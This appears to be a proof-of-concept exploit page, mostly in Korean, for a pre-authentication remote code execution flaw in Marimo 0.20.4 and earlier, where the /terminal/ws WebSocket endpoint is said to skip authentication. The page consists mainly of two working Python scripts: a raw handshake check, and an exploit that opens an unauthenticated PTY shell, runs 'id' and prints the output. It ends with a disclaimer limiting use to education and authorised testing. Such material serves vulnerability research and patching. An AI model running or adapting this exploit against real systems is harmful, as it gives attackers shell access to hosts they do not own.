
Proof-of-concept exploit for pre-authenticated remote code execution in Marimo via the WebSocket endpoint, allowing unauthenticated attackers to obtain an interactive PTY shell.
교육 및 공인된 보안 연구 목적으로만 사용하십시오.
Marimo <= 0.20.4에서 사전 인증 원격 코드 실행 취약점이 발생합니다.
WebSocket 엔드포인트 /terminal/ws가 인증 검증을 건너뛰므로, 인증되지 않은 공격자가 단일 연결만으로 완전한 대화형 PTY 셸을 획득할 수 있습니다.
websockets (pip install websockets)엔드포인트가 자격 증명 없이 연결을 수락하는지 확인합니다:
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
예상 결과: HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] 인증 없이 연결이 설정되었습니다")
await asyncio.sleep(0.3)
# 초기 PTY 배너 읽기
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[PTY 배너]:", repr(msg))
except asyncio.TimeoutError:
pass
# 명령 전송
await ws.send("id\n")
await asyncio.sleep(0.5)
# 타임아웃까지 프레임 읽기
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[RCE 출력]:", clean)
asyncio.run(exploit("127.0.0.1", 2718))
이 도구는 교육 목적 및 공인된 보안 테스트 전용으로 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.